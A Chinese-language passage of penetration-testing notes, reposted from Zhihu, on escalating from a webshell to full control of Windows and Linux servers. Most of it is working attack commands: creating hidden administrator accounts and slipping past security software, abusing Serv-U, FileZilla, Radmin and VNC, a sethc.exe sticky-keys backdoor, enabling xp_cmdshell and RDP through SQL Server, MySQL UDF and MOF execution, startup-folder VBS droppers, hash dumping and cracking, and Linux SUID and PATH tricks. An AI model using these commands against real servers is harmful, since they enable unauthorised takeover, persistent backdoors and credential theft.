提权需要的东西有点儿多,笔记里出现的工具不建议在百度上下载。可以去找找替代,上GitHub看看一些命令
Type 查看文件内容
Cacls命令 设置权限
针对网站测试过程中,通过webshell权限夺得服务器权限
判断管理员是否在线:query user
如果添加管理员权限被安全狗拦截,可以试着添加到远程连接组
Net localgroup “Remote Management Users” tatsumaki/add
虽然没有管理员权限,但是可以添加到远程登陆组,可以进行远程登陆
Asp/php匿名权限(网络服务权限)
可能有一些读取权限,比如网站目录
Aspx user权限
一般是普通用户权限,可以执行cmd命令
Jsp 通常是系统权限
除非做了专门的降权处理
Weblogic tomcat 权限比较高
根据当前搭建环境运行容器来决定权限
内外网
ipconfig 判断是内网ip还是外网ip
有可能服务器直接放在公网上,也有可能通过路由器端口转发
服务器系统版本和位数
影响exp执行
补丁
调用exp
安装软件情况
防护软件情况
端口情况
支持脚本情况
Windows下命令:
Ipconfig /all 查看当前IP
Net user 查看当前服务器账号情况
Netstat -an 查看当前服务器端口开放情况
Ver 查看当前服务器 操作系统
Systeminfo 服务器配置(补丁情况)
Tasklist /svc 当前服务器进程情况
Taskkill -pid 结束某个pid号的进程
Taskkill /im qq.exe/f 结束QQ进程
Net user test 123456 /add 添加一个用户名为test 密码为123456的用户
Net localgroup administrators test /add 将用户test添加到管理员组
Whoami 查看当前用户(当前权限)
Linux下命令:
Ls -al 查看当前目录下的文件和文件夹
Pwd 查看当前操作路径
Uname -a 查看当前服务器内核信息
除非当前webshell权限较高,否则一般不能调用和执行cmd命令
也可能:
1 被防护软件拦截
2 cmd被降权
3 组件被删除
针对前2种情况,寻找可读可写目录,上传cmd.exe 将执行的cmd路径替换原有路径,再次调用执行
如果组件被删除,看是否支持asp或者php脚本。如果支持aspx,可以上传aspx,通过aspx大马(或者php大马),直接调用默认cmd
可以尝试用?profile=a来查看密码
下载文件是通过大马,将其他服务器上的东西下载到这台服务器上
读注册表
工具扫描
命令探针
几个提权类型:第三方软件提权(远控软件)、溢出提权(计算机本地的一些漏洞未打补丁)、数据库提权(用的较多)
常见的第三方软件提权
FTP软件:server-u g6ftp filezilla
远程管理软件:PCanywhere radmin vnc
检测启动server-u
有修改权限
127.0.0.1是否开启43958端口
43958 默认监听的管理员接口
步骤:进入serv-u 目录,找到配置文件,servudemo.ini
编辑 一般会有servu的用户 有些servu用户的权限比较大,可以放到cmd5中进行爆破密码
Cmd5.com 识别servu加密
登陆:ftp后跟ip
执行命令:
quote site exec net user test 123456/add
创建普通用户
quote site exec localgroup administrators test/add
普通用户加入管理员组
这样就利用ftp的系统账号,成功创建了一个有管理员权限的账号
无修改权限
暴力破解MD5
溢出提权
默认监听端口:8021
步骤:
首先找到管理员配置文件,将administrator密码破解
使用lcx进行端口转发(默认只允许本机链接)
Lcx.exe -tran 8027 127.0.0.1 8021
使用客户端以管理员用户登陆
创建用户并设置权限和执行的批处理文件
上传批处理
以创建的普通用户登陆ftp
执行命令:
Quote site x.bat
x.bat内容为添加系统用户 提权
执行命令:
net user test 123456/add
net localgroup administrators test/add
如果安装了服务器,默认只监听127.0.0.1的14147端口
默认安装目录下有两个敏感文件
Filezillaserver.xml 包含了用户信息
Filezillasever interface.xml 包含了管理信息
提权思路:下载两个文件,拿到密码
端口转发,登陆远程管理ftpserver,创建ftp用户
分配权限,设置家目录为C盘根目录
使用cmd.exe改为sethc.exe 替换C:\windows\system32\sethc.exe 生成shift后门
连接3389 按5次shift,调出cmd.exe
访问PCanywhere默认安装目录
下载用户配置文件
通过破解账户密码文件
通过端口扫描,扫描4899端口
上传radmin.asp木马读取radmin的加密密文
使用工具连接
通过读取注册表十进制数
转换成16进制
破解16进制得到密码
Vncx4.exe -W
输入转换后的16进制
客户端连接vnc
主要是通过windows漏洞利用来获取系统权限
常见的溢出提权漏洞:
巴西烤肉
Pr
步骤:查看服务器打了哪些补丁
根据未打补丁的漏洞进行利用
前提:写入的目录需要写入权限
将批处理文件上传到开机启动项目录等待管理员重启即可
上传pwdump.exe运行获取hash值
拿到lc5 彩虹表中去破解
得到管理员密码
需要管理员权限才可以执行读取hash操作
前提:要得到数据库管理员的账号和密码,具备数据库管理员权限
安装组件
开启3389
创建用户
提升权限
Sa账号的获取:查看config.asp conn.asp等文件
如果允许外连:直接使用工具连接,不过组件会被拦截
使用查询分析器添加如下命令:
添加CMD组件
EXEC sp_configure ‘show advanced options’,1
GO
RECONFIGURE
GO
EXEC sp_configure ‘xp_cmdshell’,1
GO
RECONFIGURE
GO
就可以执行cmd命令 然后添加管理员
如果添加管理员权限被安全狗拦截,可以试着添加到远程连接组
Net localgroup “Remote Management Users” tatsumaki/add
虽然没有管理员权限,但是可以添加到远程登陆组,可以进行远程登陆
接着再把C盘之类的文件进行降权
开启3389操作:
Exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;--
关闭3389
Exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;
删除cmd组件:
EXEC sp_configure ‘show advanced options’,1
GO
RECONFIGURE
GO
EXEC sp_configure ‘xp_cmdshell’,0
GO
RECONFIGURE
GO
如果不允许外连:
大马连接
Cmd组件不执行的话,上传aspx大马(权限更高)
前提:同样需要SA权限
获取到对方的mysql数据库下的root账号密码
查看网站源码里数据库配置文件(inc,conn,config.sql,common,data)
查看数据库安装路径下的user.myd(/data/mysql/)
暴力破解mysql密码,3306端口入侵
UDF提权的原理:通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd
Windows两个导出dll
2000 C:\Winnt\udf.dll
2003 C:\Windows\udf.dll
5.1以下的版本,需要将udf导入到system32中;5.1以上的版本,需要导出到安装目录lib\plugin\
Udf脚本内容:
Create function cmdshell returns string soname ‘udf.dll’
Select cmdshell(‘net user test 123456/add’);
Select cmdshell (‘net localgroup administrators test/add’);
Drop function cmdshell; 删除函数
查看有哪些数据表
Mysql>show tables;
默认情况下,test中没有任何表存在
在test数据库中创建一个表
Mysql> create table a(cmd test);
在表中插入内容
Insert into a values (“set wshshell=createobject(“”wscript.shell””)”);
Insert into a values (“a=wshshell.run (“”cmd.exe /c net user test 123456 /add””,0)”);
Insert into a values (“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add””,0)”);
这三条命令创建一个vbs脚本,然后导入到开机启动项
Select * from a into outfile “c://documents//administrator//开始菜单//程序//启动//a.vbs
重启即可
1 上传mof.php
输入相关信息 执行cmd命令 提权
2 上传文件x.mof
使用select命令导出到正确位置
Select load_file(‘C:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’
设置允许外连
Grant all privileges on *.* to ‘root’@’%’ identified by ‘root’ with grant option;
利用mysql客户端工具连接mysql服务器
执行命令
方法:比较多是通过内核溢出的方式,先查看内核版本,找内核对应版本的漏洞进行溢出。溢出成功,提升为root权限
查看内核
Uname -r
反弹shell执行命令
上传exp
编译执行
根据内核版本查找对应漏洞
收集exp
可以从www.exploit.db.com中查找漏洞利用
上传库文件
执行库文件创建命令执行函数
寻找系统里可以用的suid文件来提权
$ find / -perm -u=s -type f 2>/dev/null
查找可操作文件
$ find / -perm -u=s -type f 2>/dev/null
利用file命令查看文件是否可执行
执行该文件
执行的时候可能会报错,根据报错查看调用系统命令
利用低权限用户目录下可被root权限用户调用的脚本提权
设置bash的$path环境变量
调用cat命令时,cat会从上级目录寻找。当我们添加.到path环境变量的时候,会先从当前目录寻找cat指令
新建cat,添加执行权限
再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),从而提权。
原文地址:https://zhuanlan.zhihu.com/p/90467026?utm_source=wechat_session&utm_medium=social&s_r=0
热文推荐
欢迎关注LemonSec
觉得不错点个“赞”、“在看”哦